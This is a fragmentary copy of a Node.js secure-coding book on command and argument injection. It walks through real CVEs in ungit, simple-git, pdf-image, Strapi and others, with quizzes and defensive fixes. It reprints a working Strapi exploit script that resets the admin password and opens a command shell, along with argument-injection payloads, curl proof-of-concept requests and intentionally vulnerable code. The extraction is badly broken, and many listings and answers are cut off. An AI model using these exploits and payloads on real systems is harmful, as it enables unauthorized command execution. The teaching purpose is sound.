OceanofPDF.com Nodejs Secure Coding Defending Against Command - Liran Tal
OceanofPDF.com Nodejs Secure Coding Defending Against Command - Liran Tal
Preface
What you gain to learn
Software developers
Security practitioners
1.3.1. Answers
2. Command Injection
10. Appendix
10.1.1. Answers
Exercises
Exercises
Exercises
Exercises
Exercises
Exercises
10.2.8. Vulnerable s3-uploader
Exercises
OceanofPDF.com
Node.js Secure Coding: Defending Against Command Injection
Vulnerabilities
by Liran Tal
Revision history:
1. 2023-09-23
2. 2023-05-01
3. 2023-04-07
a. First edition.
OceanofPDF.com
PREFACE
Software developers
Software developers who build web applications, and
specifically those who practice server-side JavaScript
development on-top of the Node.js runtime will greatly benefit
from the secure coding practices learned in this book.
Security practitioners
Security professionals who wish to learn and investigate the
source of insecure code and security implications concerned
with vulnerable open-source and third-party libraries that
make up an application’s software composition analysis (SCA).
How to read this book?
This book primarily focuses on the following knowledge-base
sections:
OceanofPDF.com
ABOUT THE AUTHOR
OceanofPDF.com
1. INTRODUCTION TO
APPLICATION SECURITY
Learnings
By the end of this chapter, you should be able to answer questions such as:
▪ What is NVD?
▪ What is a source-to-sink?
1.1.1. OWASP
The Open Web Application Security Project (OWASP) is a non-
profit organization that aims to improve the quality of software
on the internet through active work to make it more secure. The
OWASP Foundation provides resources to help security
professionals and developers create secure software. This
extends to guides, tools, and documentation; developers should
be aware of the Open Web Application Security Project
(OWASP), as it is a widely recognized and respected source of
information on software security.
FUN FACT
The author of this book has contributed to the OWASP Cheat Sheet
Series. This includes the Node.js Docker Cheat Sheet and the NPM
Security Cheat Sheet which have been widely referenced and
recognized by the Node.js community.
Useful resources:
As a maintainer of open-source npm packages, you may find yourself
handling CVE reports pertaining to your project. The MITRE CVE
website is the address to submit revocation requests or other
modifications to be made to a CVE report that was issued to a project
you are maintaining or contributing to.
Security controls
a mechanism to protect data, applications, and systems from
unwanted and unintended behavior such as unauthorized
access, modification, or destruction. In relation to software
and code, security controls are often implemented as a set of
rules, algorithms, and practices. These controls are used to
protect the application and its users from potential harm.
For example, escaping user input is a security control used
to prevent command injection attacks.
Responsible disclosure
Security responsible disclosure refers to the process of
disclosing sensitive information about a security
vulnerability found in a library, a product, or a flaw in a
computer system. The goal of responsible security disclosure
is to alert the appropriate parties to the vulnerability. This
will enable them to triage, communicate with maintainers
and collaborate to fix the issue. This will protect their
systems and users from potential harm.
OWASP Top 10
A widely recognized and industry-accepted document that
provides a concise, high-level summary of the top 10 most
common weaknesses when it comes to web security.
Source to sink
Source to sink is a term used to describe the process of data
flow within a program from where user input originates (the
source), to where it is used in some form (the sink). In order
to ensure the security of an application or the integrity of a
system, it is common to implement security controls at the
source. This includes input validation or input sanitization.
Security controls can, and should, be employed at the sink.
Some examples are output encoding and parametrized
queries.
CVE
A Common Vulnerabilities and Exposures is an identifier
assigned to a publicly disclosed security vulnerability. It
provides a common reference for identifying and tracking
vulnerabilities. It is recognized as a standard for identifying
vulnerabilities across the industry. As a developer, you can
think of CVE IDs as backlog ticket IDs for security
vulnerabilities.
CVSS
Common Vulnerability Scoring System is a standardized
method for assessing the severity of security vulnerabilities.
It is commonly used in conjunction with CVEs to provide a
quantitative measure of the potential impact of a
vulnerability. CVSS assigns a score to a vulnerability based
on a number of factors. These factors include the impact on
the confidentiality, integrity, and availability of the affected
program or underlying system. The vulnerability is also
evaluated based on its ease of exploitation and likelihood of
being exploited. The resulting score is a value between 0 and
10, with higher scores indicating more severe vulnerability.
CWE
Common Weakness Enumeration is a standardized
classification of common software weaknesses that can lead
to security vulnerabilities. It was developed by MITRE as a
way to establish a common software vulnerability
categorization. Additionally, it provides the basis for tools
and services that can assist organizations in identifying and
addressing these vulnerabilities. A CWE is also structured
hierarchically and contains metadata about vulnerability
classes, mitigation and prevention.
Vulnerability
A security vulnerability is a weakness in a computer
program or a computer system that can be exploited by a
malicious party to gain unauthorized access to sensitive data
or to disrupt the normal functioning of the system. Security
vulnerabilities can take many forms, including design
weaknesses or computational logic flaws in applications and
systems. These vulnerabilities when exploited lead to
adverse consequences.
Exploit
An exploit is a technique, method or program code that is
developed and used to take advantage of a vulnerability in a
computer system or a software application. Exploits are then
executed in order to gain advantage of a vulnerable system.
Attack vector
An attack vector is a path or means by which an attacker can
gain access to a computer system or software application to
exploit a vulnerability. Attack vectors can take many forms,
such as manipulating input data in a way that causes the
system to behave unintentionally. In addition, they can use
social engineering techniques to trick users into divulging
sensitive information or access credentials.
Payload
A payload is commonly used in exploits and is part of an
attack that is delivered to a target system or application that
may perform malicious actions.
Attack surface
refers to all available interfaces and components accessible
to an attacker and can potentially be exploited to perform
malicious actions on a system.
OS Command injection
A software security vulnerability that allows attackers to
execute arbitrary system commands in the context of an
operating system (OS). These vulnerabilities apply to web
applications but extend to other technologies such as
connected end-point devices, routers, and printers.
Argument injection
A type of command injection vulnerability that manifests in
the form of an attacker’s ability to modify or abuse the
command-line arguments of a given command, even if they
cannot modify the command itself.
4. What is injection?
a. A type of input validation technique
b. A type of encryption algorithm
1. a)
2. c)
3. a)
4. c)
5. c)
6. a)
7. b)
OceanofPDF.com
2. COMMAND INJECTION
Learnings
By the end of this chapter, you should be able to answer questions such as:
NOTE
Listing 1. ./app.js
Listing 2. ./app.php
$username = $_POST["username"];
system('ls -l /home/' . $username);
▪ -P /etc
The telnet URI handler in Opera does not check for leading '-'
characters in the host name. Consequently, a maliciously-crafted
telnet:// link may be able to pass options to the telnet program
itself. One example would be the following:
telnet://-nMyFile
If MyFile exists in the user's home directory and the user clicking
on the link has write permissions to it, the contents of the file
will be overwritten with the output of the telnet trace
information. If MyFile does not exist, the file will be created in
the user's home directory.
While this program code may seem innocent, since the user is
unable to actually change the cat command to anything else. It
is after all, hard-coded into the program’s source code. And also,
if the user is able to provide the file path as a command-line
argument, they can’t manipulate the actual program that
executes.
d. The fs module
b. CWE-78
c. CWE-119
d. CWE-89
2.5.1. Answers
The correct answers are as follows:
1. c)
2. c)
3. c)
4. d)
5. c)
6. b)
1 https://snyk.io/blog/argument-injection-when-using-git-and-mercurial
2 https://sonarsource.github.io/argument-injection-vectors
OceanofPDF.com
3. CVE-2022-25766: COMMAND
INJECTION IN UNGIT
Listing 3. ungit/git-api.js
Listing 4. ungit/git-promise.js
module.exports = git;
Listing 5. ungit/git-promise.js
Spend some time now reasoning about the code path as shown
above and locating where the vulnerability lies in the code.
NOTE
You can use a free and public Snyk endpoint to test for security
vulnerabilities in specific versions of npm packages, by querying the URL
endpoint such as the following: https://snyk.io/test/npm/ungit/1.5.19
If you followed all of the above steps correctly, you should have
ungit running and automatically opening a browser tab that
loads the local application and logs the following output:
Figure 5. The ungit npm package runs in a local development environment and exposes
an administration user interface.
3.3. Exploiting the Security Vulnerability
The source code on line 69 in git-promise.js shows the way in
which the git process is executed:
Listing 6. ungit/git-promise.js
Well, then let’s try it out locally, outside of the whole ungit
program. To test things out, we can make use of the sample Git
repository we created before. Run the following commands in
your terminal:
1. cd /tmp/example-git-repo
After running it you’ll notice that the git program exited with an
error about not being able to read from a remote repository. Of
course, because we didn’t provide one. But guess what
happened? That’s right, a new file named abc was created on
disk:
curl -d '{"path":"/private/tmp/example-git-repo","remote":"--upload-
pack=touch /tmp/liran-is-here-too","ref":"foobar","socketId":1}' \
-H "Content-Type: application/json" \
-X POST http://localhost:8448/api/fetch
Now, check your file system for the existence of the file
/tmp/liran-is-here-too, demonstrating how an Argument
Injection attack works.
curl -d '{"path":"/private/tmp/example-git-repo","remote":"--upload-pack=curl
http://localhost:8000","ref":"foobar","socketId":1}' \
-H "Content-Type: application/json" \
-X POST http://localhost:8448/api/fetch
NOTE
Take a moment to come up with your own ideas and methods before
reading the details of the fix for the command injection vulnerability
without making a significant change.
The use of the -- characters have a special meaning for the shell
interpreter. It signals to the program (git in our case) to stop
processing command-line arguments after the occurrence of
the --, and treats anything after it as positional arguments to
the git program.
NOTE
What other Unix utilities, that are often used as offloading work to, in the
form of system commands, can you think of? Do they include any
arguments that may result in arbitrary command injection?
3.5. Lessons Learned
The OS Command Injection vulnerability in the ungit project
revealed a valuable learning experience for us. To begin with, it
is crucial to avoid string concatenation for input flowing to a
system command, as it may be controlled by users. The
following Node.js system processes API call makes use of the
insecure exec() function:
OceanofPDF.com
4. CVE-2022-24066: COMMAND
INJECTION IN SIMPLE-GIT
Listing 9. simple-git/src/lib/tasks/clone.ts
In summary:
OceanofPDF.com
5. CVE-2022-24376: COMMAND
INJECTION IN GIT-PROMISE
You may try running this proof of concept using the fixed git-
[email protected] version, and you’d indeed observe that the file
/tmp/abcd isn’t created on disk. That’s due to the "split by space"
logic that the fix included, which renders the malicious payload
of --upload-pack=touch /tmp/abcd into two separate command
line arguments: --upload-pack=touch, and /tmp/abcd, which don’t
make sense to the git program.
With this program’s code, the "split by spaces" logic fails and
simply passes --upload-pack=touch${IFS}/tmp/abcd-new as a valid
command-line argument to the git program.
OceanofPDF.com
6. CVE-2018-3757: COMMAND
INJECTION IN PDF-IMAGE
Figure 12. Point-in-time downloads for the pdf-image npm package when the vulnerability
was disclosed
NOTE
1 constructGetInfoCommand: function () {
2 return util.format(
3 "pdfinfo \"%s\"",
4 this.pdfFilePath
5 );
6 },
You can see that double quotes surround the string of text that
is supposed to be the file path argument provided to the pdfinfo
command. Given that no such file exists, the command injection
attempt fails.
1 convertFile: function () {
2 var pdfImage = this;
3 return new Promise(function (resolve, reject) {
4 pdfImage.numberOfPages().then(function (totalPages) {
5 var convertPromise = new Promise(function (resolve,
6 reject){
7 var imagePaths = [];
8 for (var i = 0; i < totalPages; i++) {
9 pdfImage.convertPage(i).then(function(imagePath){
10 imagePaths.push(imagePath);
11 if (imagePaths.length === parseInt(totalPages)){
12 imagePaths.sort();
13 resolve(imagePaths);
14 }
15 }).catch(function(error){
16 reject(error);
17 });
18 }
});
The fix commit is available in this GitHub fork, which has also
been raised as a pull request to the upstream repository.
However, it hasn’t been merged and no fixed pdf-image version
was published.
Figure 13. The GitHub pull request attempts to fix the pdf-image command injection
vulnerability
6.4. Lessons Learned
Two primary lessons can be learned from the pdf-image
command injection vulnerability:
OceanofPDF.com
7. CVE-2019-19609: COMMAND
INJECTION IN STRAPI
The execa() function is imported into the code base from the
execa npm package. It’s a general purpose process execution
Node.js library that allows you to execute system processes as
an improved wrapper on top of Node.js' core child_process
APIs.
Figure 15. Strapi’s arbitrary code injection CVE on Snyk Vulnerabilities Database
Observe the Exploit Maturity in the top right. This hinting that
there’s potentially an actual exploit code that can be easily
weaponized against you in a semi-automated, or fully
automated fashion. This database entry also references Exploit
DB, is a well-known marketplace for security exploits.
Let’s look at the complete exploit code linked from the above:
#!/usr/bin/env python3
import requests
import json
from cmd import Cmd
import sys
if len(sys.argv) != 2:
print("[-] Wrong number of arguments provided")
print("[*] Usage: python3 exploit.py <URL>\n")
sys.exit()
class Terminal(Cmd):
prompt = "$> "
def default(self, args):
code_exec(args)
def check_version():
global url
print("[+] Checking Strapi CMS Version running")
version = requests.get(f"{url}/admin/init").text
version = json.loads(version)
version = version["data"]["strapiVersion"]
if version == "3.0.0-beta.17.4":
print("[+] Seems like the exploit will work!!!\n[+] Executing
exploit\n\n")
else:
print("[-] Version mismatch trying the exploit anyway")
def password_reset():
global url, jwt
session = requests.session()
params = {"code" : {"$gt":0},
"password" : "SuperStrongPassword1",
"passwordConfirmation" : "SuperStrongPassword1"
}
output = session.post(f"{url}/admin/auth/reset-password", json =
params).text
response = json.loads(output)
jwt = response["jwt"]
username = response["user"]["username"]
email = response["user"]["email"]
if __name__ == ("__main__"):
url = sys.argv[1]
if url.endswith("/"):
url = url[:-1]
check_version()
password_reset()
terminal = Terminal()
terminal.cmdloop()
This code taken from the exploit program shows how the data
variable specifies a JSON data object with a key of plugin and a
value of documentation && $({cmd}). The nested cmd variable is
replaced with the command to be injected.
{
"plugin": "documentation && $(whoami > /tmp/whoami)",
"port":"1337"
}
The && character in the payload is a logical AND operation
notation in shells. This allows the attacker to chain multiple
commands together. This means that the code on the right-hand
side will be executed only if the code before it returns a
successful exit status. In this case, the first command-line
argument, documentation, was a valid plugin name that the
Strapi command would install. The second command line
argument, $(whoami > /tmp/whoami), would be executed only if
the first command succeeded.
It’s easy to test the hypothesis of whether the issue lies within
the execa library or elsewhere. Having installed the npm
package, run the following Node.js code in a newly created file
called test.js:
$ node test.js
let spawned;
try {
spawned = childProcess.spawn(parsed.cmd, parsed.args,
parsed.opts);
So, if the issue doesn’t lie with the execa package, where does
the vulnerability come from?
Let’s rewind to the original Strapi code which was vulnerable:
{
"scripts": {
"start": "node server.js",
"strapi": "strapi",
"hello": "ls"
}
}
const spawnOpts = {
env: spawnEnv,
cwd: path,
shell: scriptShell,
}
module.exports = makeSpawnArgs
7.3. Reviewing the Security Fix
The fix to the code in pull request #4636 for the command
injection CVE-2019-19609 vulnerability that we reviewed here is
a security control in the form of input sanitization.
1 async installPlugin(ctx) {
2 try {
3 const { plugin } = ctx.request.body;
4
5 if (!/^[A-Za-z0-9_-]+$/.test(plugin)) {
6 return ctx.badRequest('Invalid plugin name');
7 }
8
9 strapi.reload.isWatching = false;
10
11 strapi.log.info(`Installing ${plugin}...`);
12 await execa('npm', ['run', 'strapi', '--', 'install',
13 plugin]);
14 ctx.send({ ok: true });
15 strapi.reload();
16 } catch (err) {
17 strapi.log.error(err);
18 strapi.reload.isWatching = true;
19 ctx.badRequest(null, [{ messages: [{ id: 'An error
20 occurred' }] }]);
}
}
The regular expression of /^[A-Za-z0-9_-]+$/ limits plugin
names to be installed to allow only:
async installPlugin(ctx) {
try {
const { plugin } = ctx.request.body;
strapi.reload.isWatching = false;
strapi.log.info(`Installing ${plugin}...`);
await execa('strapi', ['install', plugin]);
module.exports = Pullit;
execSync(
`git fetch origin pull/${id}/head:${branch} && git checkout ${branch}`
);
When the above command is run as-is, the branch name part,
identified by the command-line value passed to the -b
command flag, is properly quoted and treated as a branch
name to be created.
Why and how does this branch name work for command
injection?
3. Run pullit, select the pull request with the title matching
the dangerous source branch to checkout locally.
4. Confirm the following file has been created /tmp/c with the
contents of "hello world".
OceanofPDF.com
9. DEFENDING AGAINST
COMMAND INJECTION
Learnings
By the By the end of this summary chapter, you will be skilled at secure coding
practices, perform secure code reviews and answer questions such as:
▪ When and how should you escape user input to prevent command injection
vulnerabilities?
▪ How do you effectively protect against argument injection attacks?
▪ What are the security implications associated with invoking the npm package
manager’s run-scripts?
9.1. Node.js child_process: Choosing the Right
API for Secure Command Execution
When writing secure code in Node.js that involves executing
child processes, it’s critical to know the potential vulnerabilities
that exist. It’s also important to follow secure coding
conventions to avoid them.
Both APIs are safe to use due to two key properties - they isolate
the command from its arguments and do not execute
commands within a shell.
NOTE
Since the command is not executed inside a shell, the notion of a shell
environment doesn’t exist. Therefore, there’s no notion of paths available
to look up commands. This means that the command function parameter
needs to be specified as the full path to the executable.
For example, let’s say we need to run the git program inside a
shell and print the commit log of a user-specified file name
under version control. The following code snippet demonstrates
how to do this securely:
Table 1. Command Arguments Escaping Requirements for Child Process Node.js APIs
curl http://example.com \
-X POST \
-H "Content-Type: application/json" \
-d '{"remote": "--upload-pack=/bin/touch", "branch": "/tmp/hacked"}'
function gitCheckout(branchName) {
const allowedBranches = ["main", "master"];
if (!allowedBranches.includes(branchName)) {
throw new Error("Invalid branch name");
}
execFile("git",
["checkout", branchName], (error, stdout, stderr) => {});
}
function decompressArchive(archiveName) {
execFile('tar',
['-xvf', '--', archiveName], (error, stdout, stderr) => {});
}
const allowedCommands = {
'git': '/usr/bin/git',
'ping': '/bin/ping',
};
OceanofPDF.com
10. APPENDIX
TIP
If you are using this book to train others, it is highly recommended that
you use these sets of questions to test your audience’s understanding of
the concepts presented in the book and how well they have internalized
the material.
To do that, you should use these questions to assess their skill-set before
and after training. This will help you identify areas of improvement and
better understand the effectiveness of the expertise gained by reading
and practicing the exercises in this book.
a. Argument Injection
b. Command Injection
c. Blind Command Injection
@app.route("/blame", methods=["POST"])
def blame():
url = request.form.get("url", "https://github.com/package-url/purl-
spec.git")
what = request.form.getlist("what[]")
with TemporaryDirectory() as local:
if not url.startswith(("https://", "http://")):
return make_response("Invalid url!", 403)
_git("clone", ["--", url, local])
res = []
for i in what:
file, lines = i.split(":")
res.append(_git("blame", ["-L", lines, file], local))
return make_response("\n".join(res), 200)
async installPlugin(ctx) {
try {
const { plugin } = ctx.request.body;
strapi.reload.isWatching = false;
strapi.log.info(`Installing ${plugin}...`);
await execa('npm', ['run', 'strapi', '--', 'install', plugin]);
strapi.reload();
} catch (err) {
strapi.log.error(err);
strapi.reload.isWatching = true;
ctx.badRequest(null, [{ messages: [{ id: 'An error occurred' }]
}]);
}
},
'use strict';
const express = require('express');
const { execFile } = require('child_process');
res.send(stdout);
});
});
app.listen(3000, () => {
console.log('Server running on port 3000');
console.log('Try: curl http://localhost:3000/git-log?
filename=README.md')
});
send(mail, done) {
// Sendmail strips this header line by itself
mail.message.keepBcc = true;
if (this.args) {
// force -i to keep single dots
args = ['-i'].concat(this.args).concat(envelope.to);
} else {
args = ['-i'].concat(envelope.from ? ['-f', envelope.from] :
[]).concat(envelope.to);
}
a. Yes
b. No
b. No
a. Yes
b. No
b. No
10.1.1. Answers
The correct answers are as follows:
1. a) to c)
2. a) to d)
3. d)
b. 'input validation'
c. 'shelljs'
d. 'exec'
e. 'escapes special characters'
5. b) and c)
6. b) and d)
7. c)
8. d)
9. fill in the blank:
a. 'inject'
b. 'secure system process APIs'
c. 'input validation'
d. 'POSIX double-dash end of arguments'
e. 'child_process'
name: app-ci
on:
issue_comment:
types: [created]
jobs:
comment-action:
runs-on: ubuntu-latest
steps:
- name: Echo issue comment
run: |
echo ${{ github.event.comment.body }}
Exercises
The following are recommended exercises to engage your team
in real-world implications of command injection vulnerabilities
in the wild:
runCmdLine(allLayers, fileName) {
return new Promise((resolve, reject) => {
allLayers.layers.forEach((layerObj, idx) => {
const id = layerObj.id;
const name = encodeURIComponent(layerObj.name);
/* eslint-disable max-len */
shell.exec(`${sketchTool} export layers ${fileName} --item=${id} --
filename=${Math.random()}--${name}.svg --output=${__dirname}/tmpsvgs --
formats=svg`);
count++;
resolve();
});
});
}
Exercises
The following are recommended exercises to engage your team
in application security:
GitFn.prototype = {
tag: function (cb) {
var cmd = ['git', 'tag', 'v' + this._version].join(' ')
this._exec(cmd, cb)
},
untag: function (cb) {
var cmd = ['git', 'tag', '-d', 'v' + this._version].join(' ')
this._exec(cmd, cb)
},
commit: function (cb) {
var cmd = ['git', 'commit', '-am', '"' + this._version + '"'].join(' ')
this._exec(cmd, cb)
},
_exec: function (cmd, cb) {
child.exec(cmd, this._options, cb)
}
}
Exercises
For your team to become more aware of application security, I
recommend the following exercises:
/**
* exec
* Executes a git command in the repository directory.
*
* @name exec
* @function
* @param {String} command The git command that should be executed in the
repository directory.
* @param {Array} args An array of options passed to the spawned process. This
is optional (if not provided, `exec` will be used instead).
* @param {Function} callback The callback function.
* @return {Gry} The `Gry` instance.
*/
exec (command, args, callback) {
// Handle spawn
if (Array.isArray(args)) {
eargs.push("git", [command].concat(args));
} else {
eargs.push("git " + command.trim());
}
}
Exercises
To engage your team in application security, try these exercises:
return null;
};
// whichResult: /usr/local/nvm/versions/node/v4.2.1/bin/mobile-cli-lib
// lsLResult: lrwxrwxrwx 1 rvladimirov rvladimirov 52 Oct 20 14:51
/usr/local/nvm/versions/node/v4.2.1/bin/mobile-cli-lib ->
../lib/node_modules/mobile-cli-lib/bin/common-lib.js
const whichResult = (childProcess.execSync(`which ${executableName}`) ||
"").toString().trim(),
lsLResult = (childProcess.execSync(`ls -l \`which
${executableName}\``) || "").toString().trim();
}
};
Exercises
You can engage your team in application security by doing the
following exercises:
3. How did the maintainer fix the vulnerability? What can you
learn from the fix?
10.2.7. Vulnerable semver-tags
The semver-tags npm package is a library that provides an API
to list tags from a Git or Subversion source code repository.
const cp = require('child_process')
6. Can you find other security issues in the code? Hint: is the
RegEx test pattern in the main exported module code strong
enough?
'use strict';
const fs = require('fs');
const extname = require('path').extname;
const S3 = require('aws-sdk').S3;
if (!bucketName) {
throw new TypeError('Bucket name can not be undefined');
}
module.exports = Upload;
Exercises
Given the above source code and knowledge of the vulnerable
package:
9 https://www.cisa.gov/news-events/ics-advisories/icsa-23-110-01
10 https://nvd.nist.gov/vuln/detail/CVE-2020-2509
11 https://www.cisa.gov/known-exploited-vulnerabilities-catalog
12 https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-117a
13 https://www.qnap.com/fr-fr/security-advisory/qsa-21-28
14 CVE-2017-6361
15 https://nvd.nist.gov/vuln/detail/CVE-2022-1388
OceanofPDF.com